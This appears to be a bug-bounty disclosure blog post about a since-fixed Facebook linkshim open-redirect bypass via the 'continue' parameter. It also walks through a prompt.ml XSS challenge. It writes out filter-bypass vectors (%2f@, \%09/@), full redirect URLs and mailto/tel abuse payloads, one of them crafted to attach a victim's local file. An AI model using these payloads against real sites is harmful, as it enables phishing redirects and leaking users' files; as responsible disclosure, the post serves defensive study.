I wasn't going to post about this but it turns out, this could be an interesting article to post because this is the 3rd vulnerability that got fixed in the same parameter 6 months later.

You can find my inital linkshim bypass to this exact position which later turns out to be XSS if you click here. In the first bug I found in the continue parameter, it is possible to bypass linkshim and force a redirection to a site before being checked but then, XSS. later, this resulted some media attention and now when I find another linkshim bypass, I taught why no one else actually found this bypass, after the first got public. and that is one of the main reasons I am posting this.

I am going to talk about completely irrelevant but cool in a way technique I learned from the prompt.ml XSS Challenge(s) 4, you can find the DOM XSS challenge here. consider the code:

function escape(input) {

    // make sure the script belongs to own site

    // sample script: http://prompt.ml/js/test.js

    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {

        var script = document.createElement('script');

        script.src = input;

        return script.outerHTML;

    } else {

        return 'Invalid resource.';

    }

}

This is the JS source code of challenge 4. they basically want you to bypass a regex to get an external redirection. And the main problem here is that it uses decodeURIComponent(), a function that decodes supplied input from URL encoding. In this case, we can trick the browser believe the prompt.ml domain (allowed by the regex) belongs to our URL. This should be very simple using HTTP auth, like http://prompt.ml@attacker.com the above URL redirects to attacker.com and should bypass the regex because having the prompt.ml.

To bypass decodeURIComponent(), we simply have to use %2f which is a URL encoded representation for the /. And our bypass is:

//prompt.ml%2f@ᄒ.ws/✌

“The trick to solve the level with 17 characters only lies hidden in a transformation behavior some browsers apply when converting Unicode characters to URLs. A certain range of characters resolves to three other characters of which one is a dot - the dot we need for the URL. The following vectors uses the domain 14.rs that can be expressed by two characters only.”

A url that starts with two forward slashes is treated as absolute by browsers.

Something similar seems to cause this issue (server-side), when given the continue parameter,

https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=http://example.com

This successfully will send example.com for a check to a linkshim before extermal redirection which means https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=http://evilzone.org should be malicious.

Now a stupid enough URL validator will consider //evilzone.org a relative location and won’t allow us create a hyperlink like <a href=”//evilzone.org”> and Facebook obviously have black listed //

The next try should be \/evilzone.org, since most browsers render \ back to / this usually bypass the check and create //evilzone.org (you can read more about this from @homrkov’s Evolution of Open Redirection post)

So // and \/ got caught. At this point I concluded the linkshim uses number of blacklist based checks from \\, //, \/ and started fuzzing.

Thanks to @FransRosen, he told me about a technique that could create this bypass. \%09/@site.com

This basically should be equivalent to //@site.com and since the checker won’t find \%09/ , \%0D/ or \%0A/ blacklisted, this will result // because the %09 should obviously get ignored while parsing. And my complete linkshim bypasser will look something like:

https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=\%09/@example.com

Note: Upon testing, I saw the tel: and mailto: protocol’s are allowed in the continue parameter, I reported this but they said they will not act on it quick and should remain there for sometime.

To abuse the tel: protocol, we need the victim to click on the continue button, https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=tel:+251928475100 in some phones, this automatically start calling to that number (iPhones, some version). 

To abuse the mailto: protocol, we can force victim’s to attach a file from their local HDD and send it to our address, you can read about the mailto: protocol at http://support.microsoft.com/kb/279460

Anyway, the format is:

mailto:"+recipient+"?subject="+subject+"&body="+msg+"?attach="+"file1.zip";

Using that, we construct our payload:

https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=mailto:lastname.firstname@xxx.com?subject=APPname%20support%20issue&body=Version%20x.x%0D%0A%0D%0APlease%20make%20some%20descriptions%20here:%0D%0A%0D%0A%0D%0A&attach=C:\Documents%20and%20Settings\username\Desktop\foldername\APPname_20121123.log

should force some clients (not thunderbird or outlook), send a mail with attachment from their local HDD. This is a known issue and I think is going to stay that way now I have asked them.

Feb 1, 2015 6:33am - Inital Report

Feb 1, 2015 6:47am - More Clarification sent

Feb 2, 2015 6:11am - More Classfication asked 

Feb 3, 2015 1:04pm - Some more clarifications sent

Feb 4, 2015 11:25am - Escalation of bug    

Feb 23, 2015 11:00am - Bug Fixed

  

Thanks you for reading! :-)